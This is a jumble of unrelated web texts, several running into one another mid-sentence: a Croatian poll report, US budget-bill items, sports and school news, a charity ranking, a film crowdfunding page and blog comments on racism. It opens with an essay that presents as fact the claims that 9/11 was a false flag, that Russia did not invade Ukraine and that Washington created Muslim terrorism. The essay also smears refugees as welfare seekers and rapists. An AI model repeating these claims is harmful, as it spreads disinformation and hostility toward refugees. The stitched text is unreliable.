Osama bin Laden and Al-Qaeda were Washington’s allies against the Soviets in Afghanistan. Bin Laden and Al-Qaeda most certainly did not have the inside information and inside connections to outwit all 17 US intelligence agencies, the National Security Council, all intelligence agencies of Washington’s NATO vassals and Mossad, and airport security four times in the same hour on the same morning.
Moreover, in the last video attributed to bin Laden by independent experts, bin Laden said he had no motive for any such attack and had nothing to do with it. Generally speaking, real terrorists claim responsibility whether they did it or not in order to build the movement by showing its capability. It makes no sense that “the mastermind” allegedly determined to overthrow the West would disavow the greatest humiliation ever inflicted on a major power. The United States was completely humiliated by its impotence against a handful of Muslims with nothing but box cutters. This humiliation is a world record that will stand forever. It is impossible that the alleged terrorist, bin Laden, would repudiate such an accomplishment.
This fact alone proves that Osama bin Laden and Al-Qaeda had nothing whatsoever to do with 9/11.
Anyone who believes the official 9/11 story, like anyone who believes Oswald killed JFK, like anyone who still believes that Saddam Hussein had weapons of mass destruction and Al-Qaeda connections, that Assad used chemical weapons, who believes the Gulf of Tonkin lie, who believes that Sirhan Sirhan killed RFK, that Russia invaded Ukraine, etc., is too far gone to ever be rescued from The Matrix in which they live.
I do not know if the insouciance and gullibility of peoples in the West extends into Latin American, Africa, and Asia. Some of the people in Venezuela, Ecuador, and Bolivia, whose governments are slated for regime change by Washington, must be aware that they are not in control of their own fate. But how widely spread is awareness of Washington’s lust for world hegemony? The only signs of awareness are the initial and limited agreements between Russia and China.
To this day, not a single European government has made the connection between Washington’s wars, supported by Europe, and the millions of refugees from Washington’s wars that are overrunning Europe, intent on collecting welfare from European peoples while raping European women. We hear all sorts of complaints about the refugees, but never is a connection made between the refugees and Washington’s European supported wars.
Washington so successfully portrayed itself during the Cold War as peace, justice, and truth astriding the white horse that the world cannot see Satan sitting in the saddle.
Now that Washington’s 16 years of inhumane war against Muslim populations have destroyed the lives of millions of peoples, why aren’t there 9/11s every day? Instead are there only a few alleged terror attacks carried out by individuals, which appear to many to be orchestrated false flag events, such as individuals running over people with trucks in France and England, shooting up a French deli and magazine office. But nothing in the US, “the Great Satan.” Very suspicious.
The orchestrated event of 9/11 was the neoconservative’s “New Pearl Harbor” that provided the excuse for wars that advanced their purpose and Israel’s. It was the neoconservatives themselves who said that they needed a “new Pearl Harbor” in order to begin their wars in the Middle East.
Why don’t Americans and Europeans know this? The answer is because the US and Europe do not have independent medias. They have presstitutes.
Washington created “the Russian threat” when the Obama regime’s frameup of Assad on his alleged use of chemical weapons failed. The UK PM David Cameron pledged Great Britain’s cover for Washington’s invasion of Syria, but the UK Parliament voted no. No more UK coverups for Washington’s war crimes, said the Parliament. Russia stepped in and said, no need for more war. We have an agreement with Syria. We are going to collect all chemical weapons and turn them over to the US for destruction. The US is probably using these chemical weapons turned over by naive Russians for the false flag chemical attacks in Syria.
Stymied in their war aims against Syria, the neoconservatives turned with fury against Russia. How dare the insignificent Russians get in the way of the exceptional, indispensable people! We will teach Russians a lesson! Washington unleashed on the democratically elected government of Ukraine the US-financed NGOs in the amount of $5 billion according to Assistant Secretary of State neoconservative Victoria Nuland. https://www.youtube.com/watch?v=U2fYcHLouXY
Not realizing its vulnerability, Russia was focused on the Sochi Olympics and suddenly found that Ukraine had undergone a US coup and was committing violence against the Russian populations in Ukraine. Previously in history Soviet leaders had assigned Russia provinces to the Ukrainian Soviet Socialist Republic of the USSR. These Russians faced with violence by the neo-Nazi government installed in Kiev by Washington demanded to be reunited with Russia from whence they had come.
Russia agreed to take back Crimea because of the Russian Black Sea Naval Base, but refused the other Russian areas, Donetsk and Luhansk. Hoping against all rationality to convince Europe that Russia was non-aggresive, Russia refused the Russian breakaway republics and left them to the mercy of the Kiev neo-Nazis that continue to attack them in violation of the agreements.
The Russian government’s tolerance for provocations and insults makes the Russian government look like a weakling to the American neoconservatives, who continue to demonize Russia and its president and to press for more sanctions and more bases on Russia’s borders. Prior to his meeting with Putin, Trump, according to the BBC, called “on Russia to stop ‘destabilising’ Ukraine and other countries, and ‘join the community of responsible nations.’” How is that for standing truth on its head?
The Russian desire for Western acceptance could end up compromising Russia’s sovereignty. Washington is figuring out how much sovereignty Russia will give up in exchange for being granted acceptance by the West.
The Russians are also endangered by their belief that Muslim terrorism is a world threat. It is a delusion for the Russian government to think they can reach an agreement with Washington to fight terrorism jointly. The Russians simply cannot accept that terrorism is Washington’s weapon directed against them.
The only reason Muslim terrorism exists is that Washington created it. Washington first used jihadism against the Soviet army in Afghanistan. Then against Gaddafi in Libya. Then when Obama’s plan to invade Syria on the trumped-up chemical weapons charge was blocked by the UK Parliament and Russia, Obama sent ISIS to overthrow Assad. General Flynn, who was the director of the US Defense Intelligence Agency stated this matter-of-factly on Al Jazeera. Flynn said it was a “willful decision” of the Obama administration to send ISIS to overthrow Assad. This is why Russia’s hopes of a common front against ISIS never made any sense.
Jihadism is Washington’s best weapon with which to destabilize Russia. Why would Washington help Russia to defeat this weapon?
There is so much fake news and disinformation spread in the Western media that it even affects the Russians, perhaps even the Chinese.
Even Western analysts who reject the official Syria story still buy into the lie that Assad is a dictator.
When Putin meets with Trump, Putin will have to assess whether Trump is a real president or just another front man for the powerful interest groups that run Washington’s empire.
If Putin concludes that Trump is merely a front man, then Putin has no alternative but to prepare for war.A. B. K., (H), PSD
Foto: Arhiv CROPIX
Iako nije prošla ni godina dana otkad su osnovani i otkad su postali parlamentarna stranka samo s jednom zastupnicom, ORaH Mirele Holy uspio je sa drugog mjesta popularnosti izgurati veliku stranku - Milanovićev SDP!Prema najnovijem istraživanju agencije Ipsos Puls "Crobarometar" provedenom od 1. do 15. rujna za "Novu TV" ORaH osvaja 17,9 posto. Ispred njih je HDZ s 25,7 posto, a iza na trećem mjestu SDP sa 17,3 posto.ORaH je u zadnjih šest mjeseci zabilježio nezapamćen rast, a ovo je prvi put otkad se provodi istraživanje "Crobarometar" da je SDP skliznuo na treće mjesto. Uvijek su bili ili prvi ili drugi.Premda je razlika između SDP-a i OraH-a minimalna i kreće se unutar 0,6 posto (a, statistička pogreška istraživanja je plus ili minus tri posto), ovo je za SDP vrlo zabrinjavajući pokazatelj.Daleko iza prve tri stranke je HSP dr. Ante Starčević s 3,7 posto, potom slijedi HDSSB s 2,9 posto, a Laburisti i Lista Ivana Grubišića imaju samo po 2,7 posto.IDS je na 2,4 posto, lista Milana Bandića na 2,1 posto, HSU na 2 posto, a HNS mjesec završava samo s 1,7 posto. Isti postotak osvaja i Hrvatska Zora – 1,7 posto.HSS osvaja 1,6 posto, a Blok umirovljenici zajedno 1,3 posto. HSLS je na mizernih 0,9 posto koliko i HSP, a nova akvizicija HDZ-a Hrast, još je niže - na 0,8 posto. Čačićevi Reformisti u rujnu su uživali isto potporu kao i Hrast od 0,8 posto građana.Da su danas izbori HDZ-ova koalicija pobijedila bi s osvojenih 31,7 posto, a Kukuriku koalicija osvaja 21,9 posto.Uz ORaH koji je na trećem mjestu iza ove dvije koalicije koalicija još bi tri političke opcije koje prelaze izborni prag mogle odlučivati o novoj Vladi: Savez za Hrvatsku, Laburisti i Bandićeva lista. Ostale koalicije ili liste kao Lista Ivana Grubišića, reformisti ili Kerumova stranka te SDSS i Nacionalni forum osvajaju svi zajedno 4,5 posto potpore.Većina birača (79 posto) smatra da će ova koalicija odraditi mandat do kraja, a 14 vjeruje kako će se raspasti prije izbora.Što se tiče predsjedničkih izbora, Ivo Josipović u rujnu ima 49 posto potpore, a Kolinda Grabar Kitarović 38 posto. Na Milana Kujundžića tipuje 3,1 posto građana. Neki drugi kandidati dobili bi 3,7 posto potpore, a neodlučnih je 6,1 posto birača.Josipovićevih 49 posto je na korak do pobjede u prvom krugu, što nikome još nije pošlo za rukom od 1997. godine kad je u prvom krugu pobijedio Franjo Tuđman.Ako dođe do drugog kruga, što je izglednije, u njemu bi se našli Josipović i Kolinda Grabar Kitarović, a među sigurnim biračima Josipović bi imao 51,5 posto, a Grabar Kitarović 41,7 posto.- Drago da se birači pozitivni izjašnjavaju o ORaH-u anketama ali smo svjesni toga da su to ankete i da je do izbora još jako puno. Mi smo mlada stranka, nemamo ni godinu dana i naravno da me brine ovako brzi rast zato što još nismo uspjeli izgraditi u potpunosti infrastrukturu. Jako puno i jako naporno radimo, ali evo, tako je kako je - izjavila je čelnica ORaH-a Mirela Holy u Dnevniku Nove TV. O nemogućnosti koaliranja rekla je:U svakom slučaju ORaH nikako ne može surađivati s HDZ-om jer naši programi uopće nisu kompatibilni. ORaH je stranka ljevice, HDZ je stranka desnice. Ali u ovom trenutku nama nije moguća ni suradnja s SDP-om zato što SDP nije vjerodostojan svom programu. Njihova ekonomska politika u principu se ni po čemu ne razlikuje od ekonomske politike prethodnih vlada, HDZ-ovih vlada.Holy je izjavila da nema premijerskih ambicija u sljedećem mandatu Vlade te da podržava predsjednika Josipovića:- Podupirem Ivu Josipovića i trebam reći da sam oduševljena njegovim jučerašnjim govorom u Skupštini Ujedinjenih Naroda. To je bio potpuno zeleni govor i ako će njegov program biti takav neće imati apsolutno nikakvih problema s podrškom ORaH-a.Saborski zastupnik HNS-a Goran Beus Richembergh ocijenio je danas u Karlovcu da ankete po kojima HNS ima manje od 2 posto potpore u javnosti nije pravi odraz stvari jer ta stranka u vlasti u županijama, gradovima i općinama ima predstavnika više nego ikad, a kad bi se radile ankete o popularnosti pojedinih ministara, kako je rekao Anka Mrak-Taritaš i Ivan Vrdoljak bili bi prave zvijezde.Na radnom sastanku karlovačke Županijske organizacije HNS-a danas su u stranačkim prostorijama u Karlovcu bili ministrica graditeljstva Anka Mrak-Taritaš i saborski zastupnik Beus Richembergh.Beus Richembergh ustvrdio je kako 45.000 HNS-ovih članova javnost percipira kao ljude koji vrlo marljivo rade i kao najorganiziraniju i najuspješniju stranku od svih u vladajućoj koaliciji te među drugim strankama.HNS je nazvao "političkim projektom stabilizacije građanskog društva" kroz koji se ta stranka svakodnevno bori s onima koji bi od dosegnute demokracije napravili zatvoreno konzervativno društvo jer ne žele da se stvari mijenjaju.Nasuprot tome, rekao je, mnoge druge političke stranke koje ne možemo smatrati konzervativnima boje se zakoračiti u promjene.Ministrica Mrak-Taritaš ustvrdila je kako HNS postoji i opstoji cijelo vrijeme od osnutka, i to s jakim pojedincima. Štoviše, HNS, bilo u izvršnoj, bilo u zakonodavnoj vlasti, uvijek radi na korist građana i stoji iza važnih i velikih projekata koji se uvijek ne vide, kao npr. zagrebačke fontane i spomenici.To su plinovodi, naftovodi, ceste i svi drugi infrastrukturni projekti u korist svih građana, rekla je Mrak Taritaš.Također je istaknula kako su minstru Vrdoljaku radnici Rafinerije Sisak pljeskali jer su prepoznali da radi u njihovu korist.The Senate prepared to vote Wednesday night on a compromise measure that would reopen the federal government and raise the debt limit through Feb. 7. But the 35 pages of legislative text manages to provide for a few other programs as well. Here are seven other things the compromise bill does (Follow along with the full text of the bill, here):
Emergency highway repairs in Colorado: The bill would lift a $100 million cap on emergency highway funds that Colorado is eligible to receive after floods hit towns in the Rocky Mountain foothills last month. Colorado will now be able to receive up to $450 million in Federal Highway Administration funding to repair more than 200 miles of highway and about 50 bridges damaged or destroyed by the flooding.
Fire suppression: After a worse-than-expected fire season throughout the Western United States, the Forest Service’s wildfire fighting budget has dwindled perilously close to zero, and the service has had to transfer money from other accounts to pay for firefighting activities. The bill allocates $36 million for wildland fire management during Fiscal Year 2014, and another $600 million that would go into a fire fighting account, to be available until it’s spent. The Forest Service spent more than $900 million fighting fires this year.
Locks and dams on the Lower Ohio River: Section 123 of the bill increases the amount of funding for two locks and dams on the river, which flows through Illinois and Kentucky. Congress originally appropriated $775 million for the project in 1986; the continuing resolution increases that amount to $2.9 billion.
Back pay for federally funded state workers: Tens of thousands of state employees around the country are paid through federal grants. Any states that used their own money to keep those employees on the job after the Oct. 1 shutdown, rather than sending them home on furlough, will be paid back under Section 116 of the bill.
Frank Lautenberg’s widow: Section 146 appropriates $174,000 — the equivalent of a year’s salary for a rank-and-file senator — to Bonnie Englebardt Lautenberg, widow of the late New Jersey Democrat who passed away earlier this year.
Mine Safety and Health Administration: The bill increases the cap on user fees the MSHA is allowed to collect, from just under $1.5 million to just under $2.5 million, according to Section 142.
Maritime Administration Security Program: First established in 1996, the program was given $174 million in Fiscal Year 2012. The continuing resolution increases that number to $186 million, under Section 153.NRA Releases Killer Ad Against Obama’s Anti-Gun Supreme Court Pick
On Wednesday Barack Obama nominated Judge Merrick Garland as his Supreme Court pick to replace Justice Antonin Scalia. Garland has conservatives up in arms over his past opposition to the Second Amendment.
The Daily Signal reported:
The conservative Judicial Crisis Network describes Garland, who the Senate did not confirm until 1997, as “a reliable fifth vote for a laundry list of extreme liberal priorities like gutting the Second Amendment.” Also as an appeals court judge, Garland voted in 2007 to reverse a D.C. Circuit Court decision that struck down Washington’s handgun ban as unconstitutional. At the time, pro-gun commentator Dave Kopel wrote that Garland’s vote came as “no surprise” because the jurist already had “signaled [his] strong hostility to gun owner rights.” When the case eventually came before the Supreme Court in 2008, the justices ruled definitively that citizens possess a fundamental right to own guns for lawful purposes.
The NRA released a video this month to refute an anti-gun nominee like Judge Garland.
The NRA ad features a Venezuelan immigrant who was disarmed by her former Socialist government.
The Free Beacon reported:
“I emigrated from Venezuela—one of the most dangerous countries in the world today,” she said. “A few years ago, the government came for our guns. We were told we would be safer without them.” “Of course, the politicians, the rich and famous, their bodyguards and criminals—they still have their guns. Everyone else lives in fear. Mothers and fathers are powerless to defend their families. But the drug cartels and gangs—the colectivos—still have all the guns they want. And 90 percent of murders are never solved. The biggest mistake Venezuelans made was believing that this could never happen.” She closed the video with a warning to Americans. “Today, they would do anything for the Second Amendment freedom that we enjoy as Americans. Never ever take it for granted.”Chicago Public Schools will install a new boiler at the Northwest Side elementary school where carbon monoxide gas sickened nearly 80 children and adults last month.
"Designing, bidding, awarding, manufacturing and installing a new boiler normally takes a year, but we will take every step to ensure the new boiler is operational before the next school year," district CEO Forrest Claypool wrote in a letter to the Prussing Elementary School community Tuesday. He did not include the project's cost.
Officials have already said the district would install about 5,000 new, battery-operated detectors throughout city schools by Dec. 1 in light of the Oct. 30 incident at Prussing.
Claypool said "a series of cascading accidents and errors" led to the gas leak, among them a malfunctioning component on the building's boiler and an unplugged carbon monoxide detector near it.
A fire door that should have been closed was left open, Claypool said, while a fresh-air door that should have been open was closed.
Fire crews were called to Prussing the morning of Oct. 30 after reports of a sick child in the gym, and soon discovered high levels of carbon monoxide in the building. None of the injuries was considered life-threatening.
Claypool said the district had already repaired components on the school's boilers, including new piping and kill switches, while also replacing a malfunctioning fire door at the school.
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Twitter @PerezJrContract negotiations between forward Tristan Thompson and the Cleveland Cavaliers remain at a standstill, and ESPN analyst Brian Windhorst believes Thompson’s holdout could extend for months.
“I actually believe it will probably go months,” Windhorst said on Zach Lowe’s podcast. “This will go well into the regular season....I think it will take a third party event to bridge the gap here.”
Thompson, who is a restricted free agent, has been embroiled in a contract dispute with the Cavs for most of the off-season. The Cavs extended him a one-year qualifying offer, which would have enabled him to enter unrestricted free agency next summer, but Thompson did not sign the deal by the deadline.
• LeBron James calls Tristan Thompson negotiations with Cavs ‘a distraction’
After appearing close to signing a five-year, $80 million deal, Thompson began asking for a max deal of five years and $94 million. Thompson’s agent, Rich Paul, reportedly lowered the request to three years, $53 million, which did not interest Cleveland.
The fourth-year forward has a few options now that the deadline has passed. He can sign a deal with Cleveland anywhere from one to five years, or Thompson could seek an two-to-four-year offer from a different team. Because Thompson is a restricted free agent, the Cavaliers would have the right to match any outside offer and keep him in Cleveland.
If Thompson waits out the season without signing, he would become a restricted free agent again next July, which in theory gives Cleveland some leverage in negotiations.
- Chris Chavez and Rohan NadkarniA common trait of a bad fencer, especially in the SCA where cuts aren’t allowed, is the high parry. This is where one drives both swords up high such that short of breaking measure there is no viable recourse other than unseemly grappling.
Or so I thought. L’Ange has corrected that misconception by teaching a thrust from Secunda that begins with just such a high parry. Well not exactly, because the “bad” parry has you drive the guards up really high. For L’Ange’s version, you don’t need to go quite so high because you are instructed to bend the knee and duck the head.
As soon as the attack misses and your opponent begins to recover, drop the point and thrust as per illustration 10.
In practice we find that we are more likely to aim the the belly with a downwards sloping thrust, but the theory is still the same: learn to thrust in Prima and High Secunda and you’ll have a significant advantage over the common fencer.
Summary
This wraps up chapter 8. Consistently L’Ange has been showing us parries that I’ve found to be far easier to achieve than the single-time counter thrust, at the expense of requiring a separate action for the riposte.
An interesting experiment would be to see how long one could use just the parries. Imagine you are playing the town guard trying to subdue the drunk son of an important official.
AdvertisementsImage caption Nordic country mothers fare best
The Democratic Republic of Congo is the world's toughest place to raise children, Save the Children reports.
Finland was named the best place to be a mother, with Sweden and Norway following in second and third places.
The charity compared factors such as maternal health, child mortality, education and income in 176 countries.
In India, over 300,000 babies die within 24 hours of being born, accounting for 29% of all newborn deaths worldwide, the report says.
The 10 bottom-ranked countries were all from sub-Saharan Africa, with one woman in 30 dying from pregnancy-related causes on average and one child in seven dying before his or her fifth birthday.
In DR Congo, war and poverty have left mothers malnourished and unsupported at the most vulnerable time of their lives.
The next worst countries listed were Somalia, Sierra Leone, Mali, Niger, Central African Republic, The Gambia, Nigeria, Chad and Ivory Coast.
Save the Children 2013 report Save the Children's Mother's Index ranked 176 countries
Indicators include maternal health, under-five mortality, and women's education, income and political status
Sub-Saharan Africa takes the bottom ten spots, with DR Congo deemed the "worst"
Nordic countries take the top spots, with Finland, Sweden and Norway first, second, and third respectively
In DR Congo, one in 30 women die from pregnancy-related causes, whereas in Finland it is one in 12,200
South Asia, which accounts for 24% of the world's population, recorded 40% of the world's newborn deaths
The charity says that lack of nutrition is key to high mother and infant mortality rates in sub-Saharan Africa, with 10-20% of mothers underweight.
In contrast, the results show that Finland is the best place to be a mother, with the risk of death through pregnancy one in 12,200 and Finnish children getting almost 17 years of formal education.
Sweden, Norway, Iceland and The Netherlands were also in the top 10, with the US trailing at 30.
Surprisingly, the report found that the US has the highest death rate in newborns in the industrialised world, with 11,300 babies dying on the day they are born each year.
The charity says this is due in part to the US's large population, as well as the high number of babies born too early. The US has one of the highest preterm birth rates in the world at a rate of one in eight.
The report also found that mothers and babies die in greater numbers in South Asia than in any other region with an estimated 423,000 babies dying on the day they are born each year.
India also has more maternal deaths than in any other country with 56,000 per year.
"In India... economic growth has been impressive but the benefits have been shared unequally," the report says.About
What is 'Camp Revelation'?
'Camp Revelation' is a feature film about reparative or "ex-gay" therapy: the practice of sexual orientation conversion, typically administered by religious organizations, which suppose homosexuality is a disorder that can be "cured" or changed.
We, the filmmakers, believe that reparative therapy is not only unnecessary (no one should have to change their sexuality to fit in) but also harmful. As it turns out, many medical and mental health organizations (like the American Psychiatric Association) agree with us. We've therefore set out to make a film to help spread the word and to show audiences everywhere the truth about reparative therapy:
It doesn't work, it's harmful, and no one should have to go through it.
We're obviously not fans of reparative therapy for anyone but we especially don't believe children should be sent to "ex-gay camps" by their parents. Sadly, that's often what happens to LGBT children all over the world. In our video above, a young man, Mathew Shurka, discusses what it was like being sent to ex-gay therapy when he was only 16 years old. Ideally, we hope that families and parents will see our film and reconsider sending their own children to similar programs.
Times do seem to be changing, though; Recently the state of California banned reparative therapy for minors. It's a trend we very much hope to see continue and the best way to do that is by spreading the word.
So What's Your Film About?
In order to reach as many people as possible, we've set out to make a fictional film, rather than a documentary. We hope that the fictional format will be more accessible to audiences and will help us better spread the message of what ex-gay therapy is all about.
Our film tells the story of a socially conservative straight man who learns that his younger brother is gay and has been sent to an ex-gay camp by their parents. In an effort to get his brother out of the camp--at the urging of a friend--our protagonist must enroll himself and undergo the same sorts of therapy sessions as his brother. As he walks a mile in his brother's shoes, he must challenge many of his conservative beliefs and assumptions, trading intolerance for acceptance and fear for love. As he experiences the process, so does our audience.
Our film promotes acceptance, equality, and love. It certainly does not denigrate heterosexuals or any religious faith. Although this film deals with a lot of LGBT issues, we're hoping to reach audiences everywhere, from all walks of life. Only with the help of our straight allies and our religious allies, can we hope to make lasting, positive change.
And Who Are You, Anyway?
Kerstin Karlhuber (Director): Kerstin Karlhuber is an award winning filmmaker whose work in the arts has been seen around the world from Off Broadway and Cannes, to the Arclight in L.A. and a national ad campaign. After receiving her MFA in film production, and directing several well-received student films, she began her career in the film and television industry. She was recruited out of grad school by a major New England cable TV station as a Creative Services Producer, directing and producing TV segments, commercials and promos. Kerstin then moved on to manage substantial crews and shoots all over New York City as Head Producer at a boutique creative firm where she headed up docu-reality, commercial, and promotional shoots. Longing to continue her directing career, she began freelancing across the country, directing films, music videos, promotional videos, and national ad campaigns. She is the Founder and Director of Silent Giant Productions which collaborates with the most talented screenwriters, producers, actors, and cinematographers in New York and Los Angeles. Silent Giant just wrapped the short Legacy Cleaning directed and co-written by Kerstin and is currently in pre-production for the feature film, Camp Revelation. Kerstin continues to work as a director and filmmaker in Los Angeles, New York, and everywhere in between.
Jack Bryant (Screenwriter): Jack Bryant was born in rural Kentucky and grew up on a small farm in a conservative, Christian community. He earned a BA in literature from Western Kentucky University before earning an MFA in film from Boston University. He has taught screenwriting at Boston University, the New York Film Academy, and the Rochester Institute of Technology. During a break from teaching, Jack worked at International Creative Management for the department of Motion Picture Talent before returning to New York for a stint at iNK Stories, a video game and film production company, alongside executives from Rockstar Games. With credits on several film projects, Jack is proud to be developing his first feature film. He currently teaches screenwriting at Ithaca College in upstate New York.
And we have a great production team in place. Check out our website to learn a bit more about the group making this film happen!
Goal:
We want to raise $50,000 to get us on set and filming this amazing movie! Our budget gets us through post-production.
Rewards:
At 'Camp Revelation,' we believe that the experience is what matters. So we are using our rewards as a way to help you share the film-making experience and celebrate with us: workshops, screenings, premier party, walk-on roles, participating in the editing process, etc. Transportation and lodging is not included unless otherwise stated.
So, what if you don't live in or near NYC or one of our shooting locations? That's not a problem. We will let you gift your reward to a friend OR donate it back to us. We'll find young filmmakers or LGBT youth that will gratefully accept on your behalf.
For international addresses, please add $10 to your contribution.
You've Donated to the Campaign; How Else Can You Help?
That's simple. Follow our progress online, share the campaign with your friends and family, encourage everyone you know to support progressive, independent film. Crowd-sourcing doesn't work without a big crowd and we need your help spreading the word. And send us suggestions. Are there additional rewards that you would like to see us offer? Ideas for events? Send us an e-mail at [email protected].
Facebook: https://www.facebook.com/CampRevelation
Website: http://www.silentgiantproductions.com/file/Camp_Revelation.html
Twitter: https://twitter.com/CampRevelation
YouTube: http://www.youtube.com/user/CampRevelation
Thank you, and... ACTION!CLOSE The Senate confirmed Scott Pruitt as head of the Environmental Protection Agency despite efforts by Democrats to delay the vote. USA TODAY NETWORK
Scott Pruitt, President Trump's pick for EPA administrator.
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of. If I'm the hundredth person to tell you this today, oh well. :) Posted by: Bianca Reagan at July 24, 2008 3:59 PM "Until somebody just blames it all on Hip Hop"
HAHA, so true Another great post Jay, droppin pearls of knowledge as usual. Posted by: sauceBOSS at July 24, 2008 7:23 PM I'm really glad to see something like this crop up on the internet; I feel its what the internet was meant for - spitting out knowledge. I've had to have this conversation before with someone, and its really hard - especially since it can really be jarring to hear. A tactic I employ is questioning where they got their information from, attempting to attack the source instead of the person - or to simply point out a flawed interpretation. I agree with you though, its easier to attack the stated facts that the person themselves, because then its not a personal attack or anything - its digging for something further. Posted by: Peter at July 24, 2008 7:30 PM Why can't you run for president? You make so much sense. Well...I guess that's why you can't run for president because you make too much sense. (No offense to Obama lol) Posted by: Jiovanni at July 24, 2008 8:16 PM Awesome. Your videos are so fantastic, I had to send this one on - to my partner but also to a friend who I thought would appreciate your style. But upon further consideration I will be interested to hear what she has to say... I remember her saying once that shouldn't I consider that perhaps intelligence, as an average, is distributed on different scales with different races much as muscle mass and other genetic inheritances? I was shocked and still don't really know what to make of that. I'm a New Zealander, white as colour-wise, brought up in a white trash suburb going to a school made up of poor whities, poor islanders and lots of Somalian immigrants. I'm 1/4 Maori, my grandmother was extremely dark-skinned and was called nigger at school. My Maori boyfriend at primary school (yup, I was 9 lol) got beaten up by white supremacist teenagers on the way to school. I don't look, sound or exactly relate as being Maori but it's part of me so I don't know where that figures in my friend's train of thought - she commented that as I was intelligent why would I be too close-minded to consider it? Fucking weird. She's a generous and kind person who cares about discrimination of all kinds so I just don't know what to make of that insight into her thought processes. I could have so used this "how-to" guide last week. Let's just say I hit that point at my job where all the white people thought I was cool enough to bring all their grievences (sp?) against black people to me and demanded that I bless them with eternal knowledge to understand it or change all the behavior of black people. Let's just say this re-affirms my hatred of being the only black person white people know. Posted by: Stealthgator at July 21, 2008 6:33 PM Oh, my god, I can't believe people do that. It strikes me that the institutionalised racism in NZ is quite different to in America (assuming you're American). We've got plenty of backwards attitudes, but I just can't imagine many NZers being that thick - and rude. Jesus Posted by: Dana at July 24, 2008 9:19 PM @ Ava You are right. You are sorry. Posted by: Joseph at July 24, 2008 10:55 PM SO TRUE! Love the way you distinguished between "what you said/did" and "what you are". Very helpful to know and use. Mark :-) Posted by: Mark in DE at July 25, 2008 1:01 PM first, you made some great points about the 'what you did vs who you are' styles of debate. however, I think you failed to realize the underlying racism that exists within the argument that you are making. what i mean is this: your only example of what types of words/jokes might be construed as racist involved watermelon, hip hop music and going back to africa. while these types of anti-black stereotypes to exist, racism can also be perpetrated against all people groups. putting a scowl on your face and speaking in a pseudo-proper high and mighty english accent is an obvious white stereotype and using words like judo flip to describe the public relations spin doctoring that occurs in the political/entertainment community could be offensive to many asians. I, for one, am tired of seeing the race debate carried out in such a way as to imply that the only racism that exists is whitey hatin' on black people. racism is everywhere and it goes in every direction...Jesse Jackson has made some of the most shockingly racist remarks during his lifetime--and he's always accusing white people...and some black people (barack) of being racist!! it makes me sick. Posted by: j at July 25, 2008 1:41 PM Great post, great logic, great analogy (using the wallet thief example). AO
http://www.PardonMyFresh.com Posted by: AO at July 25, 2008 2:57 PM OMG I just had the wrong kind of conversation you described with my BF about what he was saying about arabs, will have to try again with the good convo! This is perfect, thank you! Posted by: KAT at July 25, 2008 4:13 PM The problem with what is presented is that we can have a whole nation of "nice-speaking" people who are rabidly racist in their thoughts. The only way to eliminate racism is to get to the level of beliefs, because it is peoples' racist beliefs that lead to racist actions. Actions are easy to change, beliefs are hard. The other issue is that we can change people to no longer be racist, but the institutionalized racial privilege in this country will support the perpetuation of institutionalized racism. I can be as non-racist as possible in my words and actions, but still live in and passively accept intstitutionaled inequity. So, until society as a whole changes, how can racism be eliminated? Posted by: white man at July 25, 2008 5:03 PM he isn't saying this is a cure all for racism, but rather a way to deal with it in a civil way. Racism is deep seeded in the psyche but what is wrong with a step I'm the right direction, even if there may or may not has been racist comments said in the clip (even as examples)? The point is your not going to cure the problem of race with one video. Maybe the problem started with categorizing our fellow man in classes of race so long ago. I'm going to finish up before this turns into a pointless rant. Posted by: brenden at July 27, 2008 5:12 AM Where you at Jay? Did you peep the news thats not on FOX?--NBC went in on them!! Posted by: Mr. Rogers at July 28, 2008 9:01 PM great video...
To address the question raised by white man above: To me to have less or no racist actions and yet still have racist thoughts is better than to have racist actions _and_ thoughts. But I'm a middle aged white fellow, so I may be all wrong on this. Posted by: gkirk at August 2, 2008 2:22 PM How ironic, I was just having this talk with someone about a mutual "friend??" This post just gave me some insight on what I need to do. Thanks for this post. Posted by: FreshNerd at August 2, 2008 3:52 PM You made it on alternet.org
Excellent job. Keep doing your thing. Posted by: ibrother at August 2, 2008 5:59 PM Found your website on alternet. You sir, are an inspiration to us all. Subscribed. Posted by: James Weatherundergound at August 3, 2008 9:23 PM Great post. You change or influence people's behaviors, so put the focus there. This is classroom discipline 101 for teachers. Focus on the behaviors or the kid shuts down completely. And just think about the law, too. People are allowed to think whatever they want. They can be the most noxious, virulent racists in the privacy of their own homes... but when they speak and act they are to be held accountable. You can't control what someone thinks... but you can seek to control behaviors. That's what the law does, and it's why your post is so on point. Posted by: Brandon at August 8, 2008 2:03 PM Really good video. Unfortunately, I need to use some of these tactics to confront someone about something crazy that they said over the past weekend. Keep up the fantastic work. Posted by: Cass at August 12, 2008 11:15 AM Coming over, belatedly, from Angry Black Woman-- this is wonderful. Thanks for recording it! Posted by: Rachel at August 12, 2008 2:28 PM hey man - i agree with this, but it's hard. people get really defensive and don't want to acknowledge the ways in which we all have racist assumptions culturally instilled in us through childhood, the media, institutions, etc. so, talking with a so-called liberal would probably be the hardest, as many liberals are just conservatives in disguise and don't understand things like institutional racism. on the other hand, this past weekend i was in chicago for a ballgame and some douchebag was making overtly racist statements right behind me in a crowded L line. i had no idea what to do. i turned around and gave an annoyed look to his wife or whoever she was, but i'm small, so i couldn't turn around and intimidate him like i wish i could. not that that would be the best course of action. i should have had a pamphlet or something.
Posted by: mike at August 13, 2008 1:18 AM Very enlightening, thank you. I came across your blog while doing some research on racism. Posted by: Stephanie at August 17, 2008 11:21 PM YO! I like the way you think man. All facts and very logical. Posted by: Mil 300 at August 18, 2008 3:53 AM Wow, that video was brilliant. Posted by: Abagond at August 18, 2008 10:22 PM Good points, but for me I am also interested in why people say what they do because it's just so baffling to me, and I like to understand things. I wonder what motivates someone to think like that. I included this video in my post on the subject.
http://laconicreply.wordpress.com/2008/08/19/what-do-you-do-about-obvious-racism/ Posted by: Eric Hacke at August 19, 2008 8:50 AM I was wonder if a person have told something on someone and is different then what that they have put in there diary. Can that be used as evidence in a case by law. Posted by: Teen at August 19, 2008 6:31 PM HAHA! "Treat them like they stole your wallet"... fantastic! Posted by: Jimbalaya at September 5, 2008 6:25 PM Excellent videos. I like this one in particular and "Less Talk, More Plumbing". Insightful. Thoughtful. You might want to consider a teaching career if you've got the time and energy. You're stuff makes me want to rethink hip-hop (or at least not dismiss it out of hand). Can you recommend a good "Hip-hop for Dummies" resource?
